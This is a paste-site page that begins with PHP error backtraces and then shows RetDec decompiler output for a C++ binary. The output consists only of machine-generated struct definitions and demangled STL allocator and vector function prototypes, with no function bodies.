A PHP Error was encountered
Severity: 8192
Message: Function create_function() is deprecated
Filename: geshi/geshi.php
Line Number: 4698
Backtrace:
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 624
Function: getPaste
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once
A PHP Error was encountered
Severity: Warning
Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)
Filename: view/download.php
Line Number: 2
Backtrace:
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/download.php
Line: 2
Function: header
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 625
Function: view
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once
A PHP Error was encountered
Severity: Warning
Message: Cannot modify header information - headers already sent by (output started at /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/system/core/Exceptions.php:271)
Filename: view/download.php
Line Number: 3
Backtrace:
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/themes/geocities/views/view/download.php
Line: 3
Function: header
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 173
Function: include
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/core/MY_Loader.php
Line: 43
Function: _ci_load
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 625
Function: view
File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2015 Retargetable Decompiler
//
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* ------------- Structures ------------- */
struct _in_addr {
int32_t e0;
};
struct _sockaddr {
int16_t e0;
int32_t e1[14];
};
struct _struct__IO_FILE {
int32_t e0;
char * e1;
char * e2;
char * e3;
char * e4;
char * e5;
char * e6;
char * e7;
char * e8;
char * e9;
char * e10;
char * e11;
struct _struct__IO_marker * e12;
struct _struct__IO_FILE * e13;
int32_t e14;
int32_t e15;
int32_t e16;
int16_t e17;
char e18;
int32_t e19[1];
char * e20;
int64_t e21;
char * e22;
char * e23;
char * e24;
char * e25;
int32_t e26;
int32_t e27;
int32_t e28[40];
};
struct _struct__IO_marker {
struct _struct__IO_marker * e0;
struct _struct__IO_FILE * e1;
int32_t e2;
};
struct _timeval {
int32_t e0;
int32_t e1;
};
struct struct_0 {
int32_t e0;
int32_t * e1;
};
struct struct_1 {
int32_t e0;
int32_t e1[2];
};
struct struct_10 {
int32_t * e0;
int32_t * e1;
};
struct struct_103 {
int32_t e0;
int32_t e1;
char e2[4];
int32_t e3;
int32_t e4;
char e5;
char e6;
};
struct struct_104 {
int32_t e0;
int32_t e1;
char e2[12];
int32_t e3;
char e4[24];
int32_t e5;
int32_t e6;
};
struct struct_108 {
int32_t e0;
char e1;
char e2;
};
struct struct_110 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
char e8[8];
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
int32_t e13;
int32_t e14;
int32_t e15;
int32_t e16;
char e17[76];
int32_t e18;
int32_t e19;
char e20[4];
int32_t e21;
int32_t e22;
char e23[12];
int32_t e24;
char e25;
char e26;
char e27;
int32_t e28;
};
struct struct_111 {
int32_t * e0[4];
int32_t e1;
char e2[52];
int32_t e3;
};
struct struct_112 {
int32_t * e0[4];
int32_t * e1;
char e2[76];
int32_t e3;
};
struct struct_113 {
int32_t e0;
int32_t e1;
char e2[8];
int32_t e3;
};
struct struct_115 {
int32_t e0;
int32_t * e1;
char e2[4];
int32_t e3;
int32_t * e4;
};
struct struct_116 {
int32_t * e0;
char e1;
};
struct struct_117 {
int32_t e0;
int32_t e1;
int32_t e2[2];
};
struct struct_118 {
int32_t * e0;
int32_t * e1;
int32_t * e2[2];
};
struct struct_12 {
int32_t * e0;
int32_t * e1;
int32_t * e2;
};
struct struct_120 {
int32_t e0;
int32_t e1;
int32_t e2;
};
struct struct_121 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
char e4[4];
int32_t e5;
char e6[48];
int32_t e7;
int32_t * e8;
int32_t * e9;
int32_t * e10;
int32_t * e11;
int32_t * e12;
int32_t * e13;
int32_t * e14;
int32_t * e15;
};
struct struct_123 {
int32_t e0;
int32_t e1;
char e2[16];
int32_t e3;
int32_t e4;
};
struct struct_124 {
int32_t e0;
int32_t e1;
char e2;
char e3[84];
int32_t e4;
char e5[32];
int32_t e6;
};
struct struct_125 {
int32_t e0;
int32_t * e1;
char e2[4];
int32_t * e3;
int32_t * e4;
char e5[32];
int32_t e6;
char e7[16];
int32_t e8;
int32_t e9;
char e10[4];
int32_t e11;
int32_t e12;
char e13[4];
int32_t * e14;
int32_t * e15;
char e16[40];
int32_t e17;
char e18[56];
int32_t e19;
int32_t e20;
int32_t e21;
};
struct struct_126 {
char e0[2];
char e1;
};
struct struct_127 {
char e0;
char e1[2];
};
struct struct_128 {
int32_t e0;
int32_t * e1;
int32_t * e2;
};
struct struct_13 {
int32_t e0;
char e1;
int32_t e2;
int32_t e3;
};
struct struct_130 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
char e11[140];
int32_t * e12;
};
struct struct_131 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
int32_t e13;
char e14[4];
int32_t e15;
char e16[4];
int16_t e17;
int32_t * e18;
char e19[12];
int32_t * e20;
int32_t e21;
};
struct struct_133 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
int32_t e13;
char e14[4];
int32_t e15;
char e16[4];
int16_t e17;
int32_t * e18;
char e19[16];
int32_t e20;
};
struct struct_134 {
int32_t e0;
int32_t * e1;
int32_t e2;
int32_t * e3;
char e4[20];
int32_t * e5;
int32_t e6;
int32_t e7;
int32_t * e8;
};
struct struct_135 {
char * e0;
int32_t e1;
int32_t e2;
char e3[8];
int32_t e4;
};
struct struct_138 {
char e0;
int32_t e1;
int32_t e2;
int32_t e3;
};
struct struct_14 {
int32_t e0;
char e1;
int32_t e2;
};
struct struct_143 {
int32_t e0;
int32_t * e1;
int32_t e2;
int32_t * e3;
char e4[20];
int32_t * e5;
char e6[4];
int32_t e7;
};
struct struct_17 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
char e4;
char e5;
char e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
int32_t e13;
int16_t e14;
int16_t e15;
int32_t e16;
};
struct struct_18 {
int32_t e0;
int32_t * e1;
};
struct struct_20 {
int32_t * e0;
int32_t e1;
};
struct struct_3 {
int32_t e0;
int32_t e1;
};
struct struct_42 {
int32_t e0;
char e1;
int32_t e2;
char e3;
int32_t e4;
int32_t e5;
char e6;
int16_t e7;
};
struct struct_43 {
int32_t e0;
char e1;
char e2;
int32_t e3;
};
struct struct_45 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
};
struct struct_47 {
int16_t e0;
int16_t e1;
int16_t e2;
int16_t e3;
int16_t e4;
};
struct struct_48 {
int32_t * e0;
int16_t e1;
};
struct struct_49 {
int32_t * e0;
char * e1[2];
};
struct struct_52 {
int32_t * e0;
int32_t e1[1];
int32_t e2;
};
struct struct_59 {
char e0;
char e1;
};
struct struct_6 {
int32_t * e0;
int32_t * e1;
};
struct struct_141 {
int32_t e0;
int32_t e1;
struct struct_6 e2[2];
};
struct struct_61 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int16_t e4;
};
struct struct_62 {
int32_t e0;
int32_t e1;
char e2[4];
int32_t e3;
int16_t e4;
};
struct struct_63 {
int32_t e0;
char e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
int32_t e11;
int32_t e12;
char e13[72];
int32_t e14;
int32_t e15;
};
struct struct_68 {
int32_t e0;
char e1;
};
struct struct_75 {
int32_t e0;
int32_t e1;
int32_t e2;
char e3[4];
int32_t e4;
int32_t e5;
};
struct struct_78 {
int32_t e0;
int32_t e1;
char e2[36];
char e3;
};
struct struct_82 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
int32_t e6;
int32_t e7;
int32_t e8;
int32_t e9;
int32_t e10;
};
struct struct_83 {
int32_t * e0;
int32_t e1;
};
struct struct_106 {
struct struct_83 e0[16];
int32_t e1[2];
char e2[8];
int32_t * e3;
int32_t * e4;
char e5[4];
int32_t e6;
int32_t e7;
int32_t * e8;
char e9[4];
int32_t e10;
int32_t e11;
char e12[4];
char e13;
char e14[100];
int32_t * e15;
};
struct struct_84 {
int32_t e0;
int32_t e1;
int32_t e2;
int32_t e3;
int32_t e4;
int32_t e5;
char e6[8];
int32_t e7;
int32_t e8;
int32_t * e9;
};
struct struct_90 {
int32_t * e0;
int32_t * e1;
int32_t * e2;
int32_t e3;
int32_t * e4;
};
struct struct_88 {
int32_t e0;
int32_t e1;
int32_t * e2;
int16_t e3[4];
int32_t e4;
struct struct_90 e5[2][2];
};
struct struct_93 {
int32_t * e0;
int32_t * e1[1];
int32_t * e2[2];
int32_t * e3;
};
struct struct_91 {
int32_t e0;
int32_t e1;
int16_t e2[4];
int32_t e3;
int32_t e4;
struct struct_93 e5[2][2];
};
struct struct_94 {
int32_t e0;
int32_t e1;
int32_t * e2;
int32_t * e3;
};
struct struct_96 {
int32_t e0;
int32_t * e1;
int32_t e2;
int32_t e3;
};
struct struct_97 {
int32_t e0;
int32_t e1;
char e2;
};
struct struct_98 {
int32_t e0;
int32_t * e1;
char e2[4];
char e3;
};
struct struct_99 {
int32_t * e0;
int32_t e1;
char e2;
};
/* -------- Function Prototypes --------- */
int32_t CAmpResource__Clear(struct struct_0 * a1);
int32_t CAmpResource___InitReadResource(struct struct_1 * a1, struct struct_1 * a2);
int32_t CAmpResource__InitReadResource(struct struct_1 * a1, struct struct_1 * a2);
int32_t __gthread_active_p(void);
void _Z14__gthread_oncePiPFvvE(int32_t a1);
int32_t std__fill(int32_t * a1, int32_t * a2, char * a3);
int32_t _ZnwjPv(int32_t * a1);
int32_t __gnu_cxx____pool_base___M_check_threshold(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____pool_base___M_get_binmap(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____pool_base___M_get_align(int32_t * a1);
int32_t _ZN9__gnu_cxx6__poolILb1EE18_M_initialize_onceEPFvvE(int32_t a1, int32_t a2);
int32_t __gnu_cxx____pool_lt_true_gt____M_get_bin(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____pool_lt_true_gt____M_adjust_freelist(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CSerial(int32_t * a1);
void CFakeCustom(void);
void __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CFakeCustom_gt_(int32_t * a1);
int32_t std__allocator_lt_CFakeCustom_gt__9(int32_t result);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(int32_t * a1);
void __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_std__string_gt_(int32_t * a1);
int32_t std__allocator_lt_std__string_gt__14(int32_t result);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1);
void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(void);
void __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin(int32_t * a1, int32_t ** a2);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator__lt_CFakeCustom_const__ptr__comma__CFakeCustom_const__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size(int32_t ** a1);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl(int32_t * a1);
void __gnu_cxx____mt_alloc_base_lt_char_gt___destroy(void);
int32_t std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2, int32_t a3);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____Vector_impl_16(struct struct_3 * a1, int32_t a2);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin(int32_t * a1, int32_t ** a2);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(int32_t * a1, int32_t a2);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(int32_t * a1);
void __gnu_cxx____mt_alloc_base_lt_std__string_gt_(void);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_base_lt_std__string_gt___destroy(int32_t * a1);
int32_t std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(int32_t * a1, int32_t ** a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___begin_20(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_(int32_t ** a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator__lt_std__string_const__ptr__comma__std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(int32_t ** a1);
int32_t __gnu_cxx____normal_iterator_lt_char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator__lt_char_const__ptr__comma__char_const__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(int32_t ** a1);
int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(void);
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(int32_t a1);
int32_t std__allocator_lt_CFakeCustom_gt__38(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___get_allocator(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__41(int32_t a1);
int32_t std__allocator_lt_std__string_gt__42(int32_t a1);
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__43(int32_t a1);
int32_t std__allocator_lt_std__string_gt__44(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(struct struct_3 * a1, int32_t a2);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(int32_t * a1, struct struct_3 * a2);
int32_t std__allocator_lt_std__string_gt__46(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(struct struct_3 * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__50(struct struct_3 * a1);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(struct struct_6 * a1);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52(struct struct_6 * a1, int32_t a2);
int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t ** a3);
int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t ** a3);
int32_t __gnu_cxx____mt_alloc_lt_std__string_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__63(struct struct_3 * a1);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(struct struct_3 * a1, struct struct_3 * a2);
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64(struct struct_10 * a1);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1);
int32_t __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(int32_t a1);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(int32_t * a1, int32_t ** a2, int32_t * a3);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(void);
int32_t std__max_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_base_lt_char_gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate(int32_t * a1, int32_t * a2);
int32_t std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66(struct struct_3 * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1);
int32_t std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1, struct struct_6 * a2, char * a3);
void __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize(void);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__fill_n_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, char * a3);
void std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
int32_t std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
void std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3);
void std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std__copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3);
